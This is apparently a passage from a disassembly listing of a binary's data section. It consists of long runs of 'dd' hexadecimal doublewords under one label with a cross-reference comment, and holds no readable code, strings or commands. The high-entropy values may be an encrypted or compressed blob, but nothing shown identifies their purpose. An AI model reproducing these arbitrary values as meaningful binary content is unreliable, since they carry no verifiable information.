		dd 0B039D31Ah, 413DFC66h, 2D8CC4E8h, 7824324Ch,	746E345Dh
		dd 0ADD4B568h, 5E77599Dh, 3D3DDD7Ah, 0E423A618h, 10DE7919h
		dd 0F30EA3F0h, 542E8FCDh, 72F3BE08h, 175AFB97h,	9AADB814h
		dd 8F8496D8h, 6702E5A1h, 0CF98A012h, 0DE59311h,	3ABA5B7Bh
		dd 0B36F6D44h, 5A75F4D4h, 0D5969492h, 595997CBh, 84A7471Dh
		dd 0E6F7ACD5h, 20F691C2h, 10A67993h, 6A3BFFDAh,	0F12B6C42h
		dd 0FA496A5Ah, 551E52B2h, 0C4029089h, 0E51430FCh, 0A525EDA2h
		dd 245A8CA0h, 2FCDF207h, 0D0E6291Eh, 446AA881h,	345FB8C3h
		dd 5CE67B32h, 0EFDA0B09h, 388AF6E8h, 12D2685Eh,	0DD714A7Ch
		dd 7EE467DEh, 0F6806605h
		dd 80596625h, 13458E2Ch, 0DA466F38h, 7E6C4EB9h,	2652A575h
		dd 918A6D6h, 0CA6124F1h, 6FA3CC2Fh, 3564BD4h, 0ACF7C7F1h
		dd 80F55774h, 0EFF1D4F6h, 6DFBEC91h, 0EDDADE54h, 0A2E167CFh
		dd 0A25AA62h, 0F76F5C12h, 0A3D0C20Dh, 6E44527Ch, 329B4C1h
		dd 8C665903h, 59783E6Fh, 0DE732ABh
dword_43005C	dd 0F620406Ah, 0E98EC091h, 0FC5A2857h, 536D1AC7h, 3B8139E2h
					; DATA XREF: .data:0041A720o
		dd 99B5679Dh, 0B43AC28Fh, 0EE06AF2Bh, 625736AFh, 61156226h
		dd 3877A4B5h, 105EDC77h, 6D0CEFECh, 0E75BA1AEh,	0CFE9064Eh
		dd 62120D47h, 0AC790490h, 4FEA034Bh, 0D9E14A43h, 1C5900ECh
		dd 0E24A364Eh, 2B2A7928h, 14A186DDh, 0CB91EF8Ch, 0C05536C9h
		dd 1D05C8D5h, 0AA6A6010h, 0CBAB441h, 7EBB58F0h,	0D1217245h
		dd 0AE6D5E40h, 483A68FDh, 24A196ADh, 5AD5E07Eh,	351B3A1Ch
		dd 5CF36EC9h, 9CA73D1Fh, 6BA3D7B0h, 0D40D24Fh, 5922A5Eh
		dd 0E17877CEh, 73B87878h, 0A91362A7h, 452564E9h, 0EF8B91B1h
		dd 0AC0CFBE7h, 0B797682Fh, 552D12A1h, 0FC22BB5Fh, 0DAE05565h
		dd 22D175BCh, 978F98EAh, 97B4C664h, 0BBE1ED2Dh,	0A084C856h
		dd 9B654416h, 0B9921AAh, 8264E4BBh, 0DFB46A0Fh,	0B6E9E862h
		dd 0C649EA5Ah, 0CE468CC4h, 0D731A049h, 3A3A3935h, 0E37C004h
		dd 283E179Fh, 80604D04h, 837F95CAh, 0D501D179h,	415F36DEh
		dd 8BE9B9FCh, 0E0F6BD55h, 748EF78Bh, 0D77CAC5Fh, 0F5E2104Bh
		dd 0E68A159Ah, 6CA2CCEAh, 1FEB64FCh, 0F888E8DEh, 2B52EC3h
		dd 0ED1012C2h, 4761D3BDh, 0F17EA817h, 0D3305657h, 8734A32Eh
		dd 0A9AD8129h, 49CF1E9Dh, 2A6AC3EDh, 7E98B6FAh,	0CF54DA4Ch
		dd 6AE32762h, 0FD7AA4B6h, 6B5ACA57h, 6CF3EFECh,	51DE0123h
		dd 0B4D70385h, 25326978h, 6E50ABBBh, 0F1315112h, 0BCFF692h
		dd 0DE20CF04h, 49B7D64Ah, 40646B06h, 49459C7Ah,	4F8DD85Bh
		dd 44FD6A3Ch, 80E2F043h, 0D1387FE3h, 926731A8h,	0B1E4FE4h
		dd 7BEF8359h, 0D9DFC6F8h, 0A0793067h, 70883D1Bh, 0D35B5472h
		dd 0DAC56A28h, 253B5679h, 2910877Eh, 4DE0E3E2h,	352C36C3h
		dd 1838F89h, 5FD2838Fh,	667E1865h, 75A6E97h, 0EFB4CD1Fh
		dd 4EC80E67h, 0A0BEC68Ch, 0F0286B22h, 0D6B3A437h, 75287404h
		dd 0C2E0A4E0h, 0BA9807CEh, 88A4121Dh, 25399FAAh, 3396B3Bh
		dd 3226C009h, 4BF9005h,	0B302E194h, 11F25C50h, 0E3174DD1h
		dd 8358D318h, 5885DD60h, 0FD0916BAh, 6CD10F0Bh,	52F483F1h
		dd 8FCDD9F6h, 0EDA65990h, 606AAD26h, 0BAA76F46h, 0B3DC34EDh
		dd 1F6E5EDh, 5115821Ah,	5FA85Ah, 0B9312B04h, 51059AC5h
		dd 502C258Bh, 0CF744DE3h, 8111848Bh, 9BE67AA3h,	3E41460Dh
		dd 47F6741Ah, 0EEFCA894h, 0CC0B0786h, 0F21E9DB2h, 87BB7FBEh
		dd 6152A6A2h, 95DD4270h, 3826401Fh, 0BF690620h,	96F43502h
		dd 0C8BD2147h, 0E424EC77h, 0EDBD93F1h, 200F9467h, 0B11C504Dh
		dd 836324AFh, 274DE8B7h, 88DB7F1Eh, 969073D4h, 0C6F3BCFEh
		dd 0B178EFDBh, 0E3A3815Ch, 4DE1D3F5h, 3C5D3C34h, 0E1511638h
		dd 0AB750323h, 0AF5931ADh, 0A80633FFh, 49807ABh, 23712B1Ah
		dd 86469324h, 0F6D51A87h, 169DDDE2h, 931FC17h, 855807D9h
		dd 58992C2h, 0D8141752h, 9CA4D6ABh, 0B015F114h,	0DB566CEDh
		dd 0D6F99D18h, 0D8C876EBh, 2FFD7C81h, 3BAD3F84h, 0A6B66CDAh
		dd 0E164AEC7h, 795441C0h, 201F3B89h, 2D109184h,	8055F1D1h
		dd 52BA0C63h, 0C2AA5AD6h, 2D3BE460h, 94282612h,	0B14049E6h
		dd 88745044h, 0B4AE4161h, 531AC8A0h, 78AFB69h, 5799B1D2h
		dd 53766734h, 10324E23h, 0D5C7D12Ch, 172E479Dh,	421CAF8Ch
		dd 0ADE49A25h, 37D7B331h, 0ECF470AAh, 29C7A2DDh, 4E74F84Ch
		dd 0F93CE61h, 0D33E5D73h, 0FE8D9DEDh, 0E738C2F4h, 9FF0FE8Ch
		dd 260DF635h, 3C3CEA47h, 0E4BDC9A7h, 2501FC6Ah,	5AFDFD6Bh
		dd 0CB1E8FE3h, 8AA2AAE2h, 8EA266EBh, 73174D57h,	0BBBFC081h
		dd 83CB8ADEh, 6E9DF8B5h, 9ABEC032h, 839A533Fh, 1DF4FE3h
		dd 0AD76BED3h, 8A095A2h, 48896385h, 8491DAB1h, 5158BFB6h
		dd 394D1C6Dh, 0CF90B384h, 33A8168Eh, 0E4287CC7h, 1394128Ch
		dd 0C2FC317Dh, 0F9F1FABBh, 91020D44h, 5D07910h,	79B0D7Dh
		dd 911BDD7Fh, 71B8E6D2h, 641AE593h, 4A33DC2Fh, 0E886921Bh
		dd 0ADADE103h, 0BB801DEFh, 644C9E2Eh, 5D1BA87Dh, 9A4DDB04h
		dd 867B8242h, 6167CDDCh, 0B1050284h, 31D6F2DBh,	0F7401A58h
		dd 7EFFF396h, 3FE322E3h, 9A6EFF40h, 7F2759BCh, 0FDDE6256h
		dd 23681E44h, 0BDDA576Bh, 0E3375387h, 6C996EADh, 5356677Bh
		dd 14425ACCh, 7A42BE1Ch, 7901492Ah, 32CA49F3h, 1788158Eh
		dd 0D14AF921h, 47CEA4D7h, 0E65C66F5h, 72F60881h, 2766597Fh
		dd 0EFD20496h, 8876641Dh, 0C26C7C42h, 0D2308E3Dh, 0CD7E09BFh
		dd 529F8A80h, 0E5FA8125h, 38CCFDD9h, 79E41D4Bh,	0AE1EB130h
		dd 0B5F5BDD7h, 0C0545E65h, 6CD23D64h, 8B7D56A1h, 23CB0A83h
		dd 14FB8166h, 60FF4491h, 55CEB8B7h, 2087FE0Fh, 32E3BBE0h
		dd 0CA0E898Fh, 0A5DDE395h, 0EA415775h, 1A7002BEh, 89C63EBBh
		dd 8D6C29E9h, 92F78A53h, 1C6A223Dh, 0AF6CF0h, 0BE70ADEAh
		dd 35905301h, 54F081F8h, 3CE3771Bh, 0C24810F8h,	1B27C04Eh
		dd 76D07E04h, 0C93813B0h, 0D06EDA24h, 0E839BCB3h, 27EB4C1h
		dd 5DC506AEh, 30AA13A5h, 0BB60A416h, 1CEEDDB7h,	0ACFFC09h
		dd 92BAF67Ah, 91ED6655h, 0B33A0A30h, 75C4041h, 2FF79880h
		dd 24001D84h, 0A5DA96D4h, 99B3FCA8h, 0B1293A7Ah, 8FDD2FF7h
		dd 510A79BCh, 0B376DBECh, 8E8B03BEh, 6DC7DC4Dh,	0D650BA50h
		dd 3A30176h, 5F27DB74h,	127FB28Bh, 0E6865FF7h, 9DC08E8Ch
		dd 0F29F5A0Fh, 65ECB759h, 1817D9FAh, 0F5EB6C9Ch, 6CBBCDADh
		dd 0A57CC5FDh, 0F9AC7FBAh, 0C23B9A99h, 5B691E87h, 0F2F31FABh
		dd 44FC600Fh, 1CEAABCDh, 6C843BFEh, 0B6597122h,	0D50831BFh
		dd 0E9764B59h, 70DD37C9h, 6A05D2F5h, 86F139FDh,	7713F84Eh
		dd 94F68758h, 2C2C88A4h, 8D3D4E6Dh, 0F4F1F2AEh,	23C6324Bh
		dd 54DDCF36h, 38420E1h,	0CB27141Bh, 31D6E801h, 0F8EB4A14h
		dd 0F70811B1h, 0A361F154h, 0A7D35BF2h, 258CE9EEh, 79B1180h
		dd 0FF6027ECh, 30A52A5Ch, 3C994DFBh, 2A938AAAh,	0BCCBF39Dh
		dd 0BAD7820Ah, 8FFAB3CBh, 93CA10DAh, 81F1FBDAh,	0F0A71E86h
		dd 0B36B4818h, 4A3B9A62h, 94F82329h, 0AD51642Ah, 2D67A1Fh
		dd 9F40A547h, 4B1FE47Bh, 0BE3A8C7Fh, 0D7541EE2h, 847DBE56h
		dd 68564F27h, 0A35B349Dh, 1B61F3A0h, 0DA131131h, 4B3EE74Ah
		dd 0D1EF90E4h, 0E9ABB36Bh, 1A1940BEh, 0A235B5E6h, 211B9491h
		dd 4CC13B71h, 9B522351h, 0CF361D83h, 0EF7756DEh, 0B91BE796h
		dd 0FF97DE9Ch, 2CA88667h, 466D58F0h, 0E4C16A9Eh, 53446EA4h
		dd 6DFA1CEEh, 454E1D39h, 614A11AFh, 0F65602B5h,	0A90FBED8h
		dd 1DABB1CEh, 0DFC20A93h, 448427B6h, 2BC7D9D9h,	0DDFCC41Fh
		dd 4B26AFF9h, 0EE722837h, 4C8D93B9h, 897C1D75h,	0F5CC4111h
		dd 94C3B22Ch, 0ACE40EE6h, 8C3DC1DAh, 0F56C3E29h, 0ED2FB5A4h
		dd 3AF89174h, 3949B04Ah, 80821D40h, 1F6D4A04h, 0E7CE15A1h
		dd 0C803DF53h, 0D01E7FCEh, 47A45FECh, 27BD4DD6h, 0B08D9669h
		dd 0A575057Ch, 6C8CAFA2h, 4572A7AFh, 4D46442Bh,	13FEE00Eh
		dd 0C558BD42h, 86DAA777h, 44F698C7h, 3901CE00h,	0BE770C25h
		dd 0B0B364CDh, 0F2D89DC1h, 0BAE15ECCh, 91C99A89h, 0C2EF24AFh
		dd 35F869B8h, 0B4EFE6D0h, 0E92B5F92h, 0D8D2C750h, 0C0EFBA3Ah
		dd 362FC3EEh, 6B43920Ch, 0E1B1F9C0h, 0CD8E9A35h, 93B63E0Fh
		dd 0D2570D64h, 0BE6379EEh, 0D381CA9Eh, 0F4BFD12Eh, 2C13D9Bh
		dd 4A0FD320h, 0CC3B31B3h, 95F0C121h, 33E923F6h,	38277152h
		dd 0BB69C03Ah, 0F7E84213h, 0C1609DBh, 51ED377Ch, 85E8D6B0h
		dd 46763830h, 349C3EF3h
		dd 0DF4FE0FDh, 0E1EFE8CBh, 0E4F85732h, 77F0349Dh, 2F76E99Ah
		dd 0B091965Ah, 10777DFEh, 0FFCB08CEh, 29235991h, 0C2CFFC3Fh
		dd 0CAFB33EBh, 11F39EF2h, 36C22CF2h, 0D0E9E28Ch, 440C534Fh
		dd 4FAF3C5Eh, 721ADA4Eh, 54F8B2B1h, 88DF22ADh, 0D55B8BA1h
		dd 629682ACh, 7A4ABEA3h, 3CE35705h, 79363C64h, 8FEF9D46h
		dd 355488A1h, 0CF4F62A0h, 0AAD2ADA1h, 59DB09D0h, 28A373B2h
		dd 69F51300h, 7A4B2A88h, 8D278E11h, 0E9CED705h,	93E280FDh
		dd 0F582FFA2h, 54A0EA6Bh, 0F314DF83h, 806F890Fh, 0E1BBC36Ah
		dd 3AFF9E22h, 0A313927Dh, 0C498CCE2h, 0AB60F834h, 974C4B79h
		dd 0E4A0F091h, 613D29BFh, 743656A9h, 97B14339h,	33A0B476h
		dd 12E6DC70h, 50123AB3h, 7E0D5FEAh, 0FAB7629Dh,	487044CCh
		dd 8F2A3533h, 240A0A9Fh, 0BD370659h, 63EAA904h,	0C5659D15h
		dd 0A6B3AF46h, 0CA5B9580h, 3FA46FA4h, 11D9758Dh, 83DB22D0h
		dd 2056D1ADh, 8A8A3735h, 71DFFEEDh, 44A4269Ch, 0DA4DC2Eh
		dd 0B5842121h, 6B403799h, 13FDBC5Bh, 0ECE3E646h, 2974A52Ch
		dd 9A30B84h, 0F5F8007Fh, 0D50D700Ah, 0FEEC7B6Eh, 0F26CC86Ch
		dd 15E84232h, 0BD8173E6h, 8F546566h, 46605802h,	3645DEA4h
		dd 45ECA688h, 0BB3167h,	0EE905654h, 950EE4B2h, 0BEFCF04Ah
		dd 87DBD8EBh, 0B815FA3Bh, 0A2EB39A5h, 1E78A9ACh, 7668C1FCh
		dd 2F62F547h, 1880BE40h, 0E108829Ch, 0FD5C7CB8h, 0DEA27346h
		dd 0EBCFCC64h, 5346A64Eh, 8AD26CBFh, 60FA0ED5h,	0A60C868Ch
		dd 4DD9CB5Ah, 0AF82016Dh, 0C5BA9265h, 13F79BFDh, 0D1B3AEB2h
		dd 5F6F3E9Bh, 0A0A2BD50h, 399FD10Fh, 0CE6C4110h, 59374AD8h
		dd 0F30AB499h, 0F1F42469h, 55A8C0Bh, 23717599h,	35E4A2ABh
		dd 0F5CB8C56h, 0FA61756h, 0D3EA1539h, 890FD0A0h, 0D4E8ED52h
		dd 17548D07h, 9F45BD9Bh, 0D4CFF7Dh, 0E061F265h,	0BEE661BEh
		dd 71D02524h, 0F29968C8h, 0B4388354h, 7A7866F2h, 5A732A29h
		dd 8E4CBFC5h, 0ABA98323h, 35EB1D60h, 0B43CCB03h, 3233C3Bh
		dd 0D429CF34h, 0E962485Ah, 0DB08CC0Bh, 0F901ADADh, 2E6FF99Eh
		dd 0E7BB8B66h, 8E37F6E1h, 0CC843D51h, 0F4AA8D7h, 0E4B23935h
		dd 495963D3h, 0F48AA80Fh, 0C84AAE9Ah, 0D24F8A84h, 744AB556h
		dd 0A88B1BF6h, 118099E5h, 12AFC5E7h, 0C8F5B31Ah, 45E31016h
		dd 0D6B430DDh, 49526675h, 0FB7F4840h, 4035F91Ch, 0D97A66A6h
		dd 10ABDFD8h, 60CFCD11h, 82D76EE8h, 14A2755Fh, 0E011A54Eh
		dd 45C8B7E6h, 33087699h, 4A881628h, 89F59511h, 3DD3D8BAh
		dd 18042558h, 1ED519B1h, 0BEC0F2E1h, 0A975A841h, 1ED8BF76h
		dd 3B01BFCh, 0B3FE75B1h, 3A1144D4h, 0ADEEC199h,	9F20CD02h
		dd 0EBE1EEBEh, 37C1634Eh, 5EB0679Fh, 48925245h,	38E90E43h
		dd 9AF22B8Dh, 4F601B6Bh, 8E26B966h, 922B15A8h, 9AAF45ECh
		dd 64E7C7C5h, 657F47A5h, 0A0CFAEF2h, 343E18E7h,	0A51DC230h
		dd 26146983h, 84C6EC4Fh, 44B07285h, 3B744F8Dh, 5579A1B5h
		dd 3BC55410h, 938E660Dh, 0E8A88DD8h, 7877BE2Fh,	7C9B4279h
		dd 8F3F5EE8h, 0C254EF18h, 20FA2Ch, 93738ABBh, 15EAE920h
		dd 52E8E3D7h, 0C65F7D1h, 0D00FFD1Eh, 23909BB3h,	958200C5h
		dd 0E4D8FA1h, 79C43EF3h, 1EAA75CBh, 0EA0D3399h,	2A40BECEh
		dd 0C947FA3Dh, 0D2BB69Bh, 12DE4AD0h, 0A2CC7D37h, 38156DD8h
		dd 0ADF12950h, 5BF691Ch, 0C524A34Eh, 82445D71h,	82506BA4h
		dd 0CBE8B56h, 0CE4646C4h, 7F295E8Ch, 8FDD2DB7h,	0A2636D39h
		dd 7F4A4031h, 80277F40h, 749E8F26h, 0D3727999h,	0D52B388Ah
		dd 9158BA6h, 0E426B2E8h, 0EBDC674Fh, 0A4A5E357h, 0F5A03AD8h
		dd 0BD9D8A1Ah, 6734BC48h, 4B28A1B5h, 3019B44Ah,	0E64936F4h
		dd 1E96CA85h, 787846BFh, 92AF4752h, 65FB3D16h, 0E91613EFh
		dd 2391E4EDh, 14C18907h, 0D27F33B0h, 7EAB5FC6h,	0EBA4E2Dh
		dd 85E73E8Eh, 0D764A5C0h, 18DBAD81h, 6C9B303Ah,	7BBB0813h
		dd 3CA9C611h, 0A6A8DB6Ah, 0FE3A23FCh, 984271F2h, 92D3FF82h
		dd 7B0D6128h, 9B010C89h, 9CFD6368h, 88CE3E55h, 80C4AD7Eh
		dd 0F725D2EFh, 79B09E90h, 0AB04B11Bh, 19E8A3C4h, 0E006B3E9h
		dd 8D0449BCh, 3FC1C88Eh, 0CBCDFAD0h, 0CE201C28h, 0BB9751CAh
		dd 0DE566D72h, 89A24683h, 3A51F520h, 9489CE07h,	0D951CE8Ah
		dd 0C0EE1235h, 0B440BAB6h, 0B8149D38h, 0A56D7F7Eh, 0EF046833h
		dd 0C3D788B1h, 0F41962F4h, 3FCDF82Dh, 0F30E5E5Fh, 5ABA1A79h
		dd 0FC24F784h, 0BB00EE8h, 7BC3BBE6h, 2388C3C5h,	62A852EBh
		dd 0E5174D88h, 5A7BC92Dh, 78E943ECh, 5356E49Ch,	0F2366E4Fh
		dd 0B35047F0h, 0C1CF9545h, 479F711Eh, 525DE9DCh, 85623C82h
		dd 0D6ECC627h, 20FC0AAh, 67AF0A7Eh, 0F2FE33A7h,	5EA05574h
		dd 85AF9310h, 0CE191021h, 0ED18C276h, 3F02EB7Dh, 3910751h
		dd 2F06474Bh, 7AEFBE8Ch, 234BD00Fh, 349265E2h, 94596DE5h
		dd 27BD3B08h, 0E7B614E6h, 558A9405h, 9DB424EAh,	7C02E48Ch
		dd 386527Eh, 43FBD55Ah,	915BA35Bh, 0A78EFF37h, 0C00A41AFh
		dd 0BDB66E43h, 8FFE7B40h, 0F463EF7Bh, 4E356D1h,	4CF26C15h
		dd 4D4BABCFh, 0F336AFA4h, 7AA15563h, 848D4969h,	0AC822B24h
		dd 6069CDDBh, 575EF8A5h, 68A1C108h, 59CEA82h, 0C9C99D59h
		dd 22EF3400h, 194540C7h, 0D3837B83h, 16146C47h,	88DCFEB4h
		dd 0BB8532FDh, 0AEC0D0FBh, 46C6CF53h, 9EC41712h, 8BFF1AF1h
		dd 73CEA18Fh, 0DD3FECC0h, 593F40Dh, 0A3CDC767h,	0FEC83539h
		dd 0A7B52698h, 0EB30CC8Bh, 3DACDBAh, 729B2775h,	7247A314h
		dd 6E5903E6h, 9A8D382Fh, 1C639093h, 0B78B05ECh,	58BAAA0h
		dd 0F89FBC0Eh, 83425B2Fh, 5B932543h, 1D732750h,	926DC51h
		dd 9FB3532h, 601643E5h,	0C56008Bh, 0D8A32E19h, 67E89077h
		dd 3E26A1BEh, 4EB39B1Eh, 0CE2ED798h, 9BDD1179h,	0F9FDF859h
		dd 0A46D9BA8h, 79C34BF6h, 0F5717A1Ch, 2608DAD1h, 10E6397h
		dd 97A0E9Bh, 56514E15h,	60DD9E06h, 21567327h, 6D93F80h
		dd 3F9F8C64h, 5B657FB5h, 25CA02FAh, 9CE1074Dh, 7E734726h
		dd 0CC05E063h, 4941D323h, 4A7464F9h, 8EA2328h, 49E21423h
		dd 0B78CD835h, 0E4645BE0h, 4EEB2F38h, 33B69528h, 0EA040829h
		dd 60E3E709h, 0B6B9555Ah, 5C84BCFCh, 0EB502D96h, 0DC32A5B7h
		dd 74366252h, 94AA1F7Fh, 0F99022ADh, 21F1074Ah,	0F4ECC77Dh
		dd 4D586F2Dh, 2FF95F26h, 3DA7807Dh, 0DA374AE4h,	0E3B03356h
		dd 0DCBAC153h, 0A01F1FE6h, 111BCBD1h, 0F77D61DCh, 2D9DA25h
		dd 29DA7F23h, 2548036Fh, 0AF6FE9ADh, 5CF1DF38h,	0F8DDF69h
		dd 0DDEB048Dh, 0E2868D6Fh, 0E608A417h, 0B4B51F56h, 885713D6h
		dd 8D50E036h, 0AB49E918h, 630C7E4Ah, 8AA93E5Ah,	6E79B171h
		dd 6EAD7872h, 8254BB22h, 0E2E69F78h, 0DE88668Dh, 5CE911BCh
		dd 7BCC75FEh, 0C0C6C081h, 74BFC295h, 0D119922h,	7A0B30Fh
		dd 18D42EAEh, 92D81905h, 0C685748Eh, 9C2FE070h,	0F82E1321h
		dd 9C4473Ah, 0CE2F8CAh,	0AC7806DFh, 0B7C0E921h,	20969270h
		dd 6DEEAA59h, 2637940Dh, 97E40EDBh, 73FE449Fh, 38F3A77Ch
		dd 0EB55E17Ah, 0CC7E03FFh, 3DAC03CFh, 0BA53BBABh, 9CADE7F9h
		dd 9575DC91h, 0FC9ED5DFh, 35AC8A45h, 63600F0Eh,	701CB7E7h
		dd 9CB4A6F3h, 5E52AA20h, 9A616A79h, 0FE216E84h,	5C6868E8h
		dd 2B35F302h, 0BD337AE1h, 40C649DCh, 677F27E1h,	0B8659AA4h
		dd 3943843h, 14069157h,	4D2BFBD5h, 0FC2F44DEh, 8DC65896h
		dd 1E7D0D92h, 9E5D64E8h
		dd 8C5561D1h, 0E16CFC8Ah, 9BA11237h, 93BFD681h,	0F4706C34h
		dd 0B8BDAE7Bh, 0AC44844h, 0D703A7BFh, 0F254398Ch, 85F84CDDh
		dd 994268A9h, 0B74B161Dh, 273D0BFAh, 39A460B0h,	74C554D3h
		dd 7132F4AAh, 0F7065DFEh, 0D0890EDAh, 4490CDAFh, 8207FA39h
		dd 4444A807h, 16EE6A68h, 89A90ED2h, 0B886BA39h,	19553397h
		dd 93336D46h, 4D374F73h, 0BBD44A8Ch, 0E8E39054h, 0D2883CFCh
		dd 0CE32F93Eh, 4C8162D9h, 0EC727B91h, 3AA54B1Ah, 7E59CE67h
		dd 27DD643Dh, 5DB1744Fh, 86C269F3h, 9DA48B49h, 1D2E03F2h
		dd 3B6B3FEAh, 0CC370A8Bh, 0D9A7E924h, 8AF86196h, 0F975D148h
		dd 3B19545h, 34EFF257h,	4EBAC1DCh, 0EBA0EF81h, 0A218F554h
		dd 763BCEDFh, 0A25CE00Eh, 51D3782Dh, 313C4443h,	5863F9EFh
		dd 0F5CACB9Ah, 0F1442592h, 0AB0E060Dh, 1D1267B6h, 2E068A89h
		dd 862608CAh, 2946567Ch, 54E12820h, 0B39D952Fh,	7EAB45B1h
		dd 9F346394h, 0BA40B4D7h, 0A0C1FBBDh, 0B9B288C9h, 790725B6h
		dd 0F0893CC8h, 3A1D684Bh, 239EA70h, 0DEFC8FE3h,	17A4A1DFh
		dd 0DF65C3D1h, 0AE3453EEh, 0A44CBE68h, 3DF044F7h, 0C25455Eh
		dd 0D2576BC5h, 36757187h, 0D5F9B058h, 25B9D533h, 24C18ECDh
		dd 0DDBB9032h, 8D7D893Bh, 335AB3ACh, 0E6D64365h, 0BC3B46FFh
		dd 7EF3578Dh, 0B127DFFh, 31620BEEh, 8951464Eh, 21673F49h
		dd 0C56F6E9Dh, 824A7E9Eh, 0B7FE8950h, 0ECFC9CEFh, 7AAE4217h
		dd 0DC7A255h, 0E24CF1D8h, 9B1FAD65h, 4FF7C3C5h,	913DB857h
		dd 2B831D6Ah, 7E949419h, 0F71568F9h, 5F82DE59h,	8864C204h
		dd 1E3C0269h, 41CD49FBh, 6A6507D3h, 480B64A6h, 2A941C87h
		dd 7DC2A977h, 3DC12AA8h, 26F35D7Fh, 0D4D54B67h,	2182D51Dh
		dd 62053404h, 6BB9C7Dh,	68B2B092h, 9BEB1361h, 68F66E3Bh
		dd 0DFBED162h, 0D3A269F7h, 0E31D1321h, 405400D0h, 0F0916900h
		dd 1E65054Ah, 0FFEFCCCAh, 98FF0E18h, 0B1F6F5BEh, 5B2C652Bh
		dd 0DAA21515h, 0F829AECEh, 0FEB0C354h, 84C16CD7h, 5EA757F1h
		dd 595EEB06h, 50F285B3h, 424A2120h, 0CB722938h,	0E6EC0FC2h
		dd 0F6BDBBAEh, 32D8886Dh, 76BFD504h, 0AD24B4F9h, 0DAFE9E64h
		dd 9584A55Fh, 0F2A4EFEEh, 1BCCF368h, 765C8A19h,	73226FD3h
		dd 1848A033h, 5EC848FCh, 2E0B3BBCh, 737CCCB0h, 428D720Bh
		dd 6F97C591h, 0C421CEAEh, 0BD84A554h, 933347D3h, 0ACCCAC7Fh
		dd 0DBE58991h, 0A8AA291Ah, 16EC2422h, 0D4D00C10h, 0F155ACC7h
		dd 39FA0E0Ch, 407F1F4h,	0D3B8D2C6h, 0CEE25AF1h,	0B0DC7E2Dh
		dd 72AAC7C8h, 0A4051105h, 1D25BC12h, 0E6FCCE5Ah, 0B98655D8h
		dd 0F8F94B2Eh, 0BE08ECBBh, 0F753D18Fh, 0A3F91AD1h, 754D9D69h
		dd 0F355AD49h, 0B11B8B4Fh, 0F53340F5h, 8CAE786Dh, 68B56606h
		dd 0A20A2CC2h, 0A70CD19Ch, 0F6522F9Bh, 39162457h, 6F08B0B8h
		dd 0CC8E67F0h, 0DFDECE3h, 0B8F58EDDh, 4C9B776Dh, 0A10B5484h
		dd 0ACC5CDBBh, 8216B43Ah, 0ABCF21D1h, 0E15BB549h, 85E65681h
		dd 622B63F7h, 5248BFEh,	78947A4Dh, 0E781014Bh, 0AC3BDA9Eh
		dd 0E525CAD7h, 8BFC4E30h, 4708DF43h, 8F121E95h,	5AAEED1h
		dd 124FFC83h, 11BCBBEEh, 58D80E96h, 89E91969h, 81273E33h
		dd 0AB45A966h, 17B04696h, 29DC6894h, 0BE346510h, 0BC8F24A2h
		dd 39EF161Fh, 0D0A7709Ah, 0FB584FFAh, 3173D081h, 63898E41h
		dd 198FEF7h, 54616E38h,	59048AA9h, 5F68051Fh, 2556A550h
		dd 67F19825h, 0ADA06840h, 9ECF83DCh, 1ED0663Eh,	866BC7BEh
		dd 796FC4FBh, 0BC8D8810h, 0FFFCDFD6h, 0B6216322h, 0F44D1565h
		dd 5ACA647Fh, 3FC794F7h, 0F637F98Fh, 28A110D4h,	0B781023h
		dd 4AB41A92h, 0E78D9C8Ch, 6F67394Bh, 0E8D7B598h, 0CD93C08Eh
		dd 6D2CC322h, 9F8444F0h, 1C13EA12h, 7BDFCBCDh, 0D8EEB77Eh
		dd 0E8C20E7h, 92A492E3h, 1EFA9965h, 0CF8FD2FBh,	1C16299Dh
		dd 0C2492A5Ch, 0EB5DEE18h, 0F310CCFDh, 76314C8Ah, 4379844Bh
		dd 69BA6ED1h, 38B89EF4h, 0EF72935Fh, 135DA89Eh,	0A3980732h
		dd 489E23B7h, 24462307h, 0D5E0B68Fh, 7390E7FBh,	0B02EB2B4h
		dd 0F0F9D158h, 350A1834h, 6DCEE4ADh, 55C542A7h,	49E11F1h
		dd 3223709Eh, 4D007D5Ah, 98B59D1Ah, 84C572EEh, 0CDE966A4h
		dd 38357E97h, 0CE4D59B6h, 7AA22A5Dh, 0AE5A010h,	0D989C6A0h
		dd 712BBAE1h, 9043D113h, 0E1895604h, 942283h, 4FCB0669h
		dd 0E1C60925h, 193B4449h, 27EDAF73h, 6930DA7Dh,	0DCA30BE0h
		dd 1D7869Fh, 61178520h,	0C075EE88h, 0A7D57A22h,	0DDA3315Fh
		dd 9FA28D1h, 0FFD56B72h, 5F9FE0C6h, 0ED0C50CEh,	0E38BD2BEh
		dd 0B59C73AFh, 0E41C6463h, 13E7BA16h, 0F5CEA52Fh, 42CB60E8h
		dd 0BC341037h, 0C10F83ECh, 65E77F74h, 307E89CFh, 8394C642h
		dd 5A0A5918h, 9FA59301h, 0F0D68D72h, 0B5CD501Dh, 98983D87h
		dd 82193F1Fh, 95C9DDCDh, 0ABD3C685h, 55EE1CF7h,	7D449C55h
		dd 5A9B1BCCh, 321D854Dh, 0F478F72h, 68011771h, 0A75FD0A7h
		dd 0FC13682Ch, 0F3C2900Bh, 8243B3C5h, 630EFC5Dh, 0F19C74E3h
		dd 0B630599Ah, 2DF32EB9h, 96350045h, 0B59776Bh,	373FC81Fh
		dd 4B4B501Dh, 9146CB96h, 0F272935Eh, 66FBBD2h, 0D95B769h
		dd 0BBAD30F2h, 0B39B9DE3h, 9C617798h, 118192FAh, 0A8973FB4h
		dd 0F2B478A8h, 0D628BA02h, 35C14AC0h, 0B280DCE0h, 15EBB7B8h
		dd 0B0C55BBh, 0B6BAA6B1h, 0AA7F0947h, 0BDF4DC6Dh, 991882F0h
		dd 6EB86928h, 138FB112h, 720C475Ch, 80BCDACDh, 0BB4C54BDh
		dd 368CD6DCh, 36D52E22h, 0B29FFDA2h, 3FA1E45Bh,	2CFBF30Bh
		dd 355F598Eh, 0A3187945h, 38EF6065h, 0FACC1230h, 3AB5B7B5h
		dd 4D786BC7h, 12157EAh,	20A7C66Bh, 0ECB07B47h, 0CE6E5049h
		dd 0E13DE7B8h, 18799AC6h, 241FA749h, 0A0568D0Fh, 4C986FDh
		dd 9F1E664h, 548EEFDh, 0E0166B10h, 0A2D0EA96h, 431094B9h
		dd 0E20AB985h, 3FF5FEABh, 4DC8811Eh, 0FAFFA5D6h, 0DE3CBAh
		dd 475AA126h, 0D9655A86h, 0DFBE5FCBh, 75600086h, 5130EB5Fh
		dd 62C2A116h, 0EB65DDA5h, 3C9B22F3h, 47726BD2h,	562FED0Dh
